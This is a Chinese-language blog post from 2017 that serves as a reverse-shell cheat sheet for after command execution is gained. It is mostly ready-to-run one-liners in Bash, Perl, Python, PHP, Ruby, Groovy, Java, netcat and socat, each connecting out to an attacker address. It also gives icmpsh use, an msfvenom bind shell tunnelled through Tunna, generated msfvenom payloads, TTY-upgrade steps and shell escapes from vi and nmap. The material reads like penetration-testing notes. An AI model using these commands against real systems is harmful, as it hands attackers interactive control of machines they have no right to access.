Jirairya

获取shell

2017-11-27
hack  sec

在得到命令执行漏洞情况下,需要一个交互式shell。无法添加新的账户,或者写入密钥到~/.ssh/文件夹下,下一步就是将bash绑定到TCP端口上进行shell反弹。

反弹shell

Bash

bash -i >& /dev/tcp/10.10.10.16/4444 0>&1

Perl

perl -e 'use Socket;$i="10.10.10.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

revsh.groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
require('child_process').exec('bash -i >& /dev/tcp/1.2.3.4/80 0>&1');

netcat

nc -e /bin/sh 10.0.0.1 1234

不支持-e选项,也可以:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Go

Hershell:Go语言编写的多平台化的反向shell

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

assembly

汇编反向shell

Xterm

最简单的反向shell是xterm 会话,气将通过TCP的6001端口反向连接10.0.0.1:

xterm -display 10.0.0.1:1

要捕获传入的xtrem,就启动X-Server(:1监听6001的TCP端口),另外就是可以通过Xnest监听

Xnest :1
xhost +targetip

icmp-shell

icmpsh

kali:

./run.sh

target:

icmpsh.exe -t kali_ip -d 500 -b 30 -s 128

tunna+kali_bind

Shell反弹不出来怎么办呢?

本机kali不是外网或者目标在dmz里面反弹不出shell,可以通过这种直连shell然后再通过http的端口转发到本地的metasploit

0x01 在kali上生成一个bind_shell:

msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe

0x02 在kali上使用tunna转发:

python proxy.py -u http://test.com/conn.jsp  -l 1111 -r 12345 v

0x03 使用kali连接bind_shell:

use exploit/multi/handler
set payload windows/x64/shell/bind_tcp
set LPORT 1111
set RHOST 127.0.0.1

将普通shell升级为全交互式终端

Upgrading simple shells to fully interactive TTYs:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

非交互式的终端缺点很多:

  • 标准错误信息不会显示
  • 不能正常使用vim
  • 没有命令补全 …

NC反向Shell

攻击机器进行nc监听:

nc -nvlp 8888

被攻击机器:

nc -e /bin/sh 10.10.10.166 8888

msf的payload shell

查找msf生成正向shell或者反向shell的payload:

msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'

使用msfvenom生成reverse_netcat:

msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.166 LPORT=8888 R

生成结果:

mknod /tmp/pqgi p; nc 10.10.10.166 8888 0</tmp/pqgi | /bin/sh >/tmp/pqgi 2>&1; rm /tmp/pqgi

监听连接如下:

在没有netcat的情况下,使用perl生成反向连接:

msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.166 LPORT=8888 R

生成结果如下:

perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.10.166:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

不能使用su等功能,功能很少:

python的伪终端

使用python命令生成伪终端:

python -c 'import pty; pty.spawn("/bin/bash")'

解决了su功能,但是没有补全等功能。

Socat

Socat类似于netcat,通过TCP进行连接,若在受害者服务器上安装了socat,就可以通过其反弹一个反向shell

在靶机上安装socat:

sudo apt-get install socat

可在https://github.com/andrew-d/static-binaries下载,然后改变权限chmod +x socat

首先在kali运行监听:

socat file:`tty`,raw,echo=0 tcp-listen:8888

在靶机上反弹shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.166:8888

得到一个完整的tty会话,有完整的交互功能

升级netcat

基本的步骤:

//在kali得到的反向shell中:
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z //暂停shell窗口

//在kali的Terminal:
echo $TERM // 获取xterm-256color
stty -a //得到rows,columns
stty raw -echo 
fg //恢复nc监听的shell
reset

//在kali得到的反向shell中:
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

在得到反向shell之后,使用python得到伪tty,并Ctrl-Z暂停反向shell,放于后台:

nc -nvlp 4444
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

获取TERM的信息和当前tty的窗口大小:

echo $TERM

stty -a

stty raw -echo

输入fg,后车之后,得到原始的nc -nvlp 4444,继续输入reset,恢复反向shell. 然后根据之前获取的信息设置shell,就可以得到一个功能完整的tty交互shell:

fg

reset

export SHELL=bash
export TERM=xterm256-color
stty rows 24 columns 80

Shell Spawning

http://netsec.ws/?p=337

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

From within IRB

exec "/bin/sh"

From within vi

:!bash

From within vi

:set shell=/bin/bash:shell

From within nmap

!sh

refer:

  • http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  • http://www.91ri.org/11722.html
  • http://netsec.ws/?p=337

Similar Posts

上一篇 pwnos2.0

下一篇 端口转发

Comments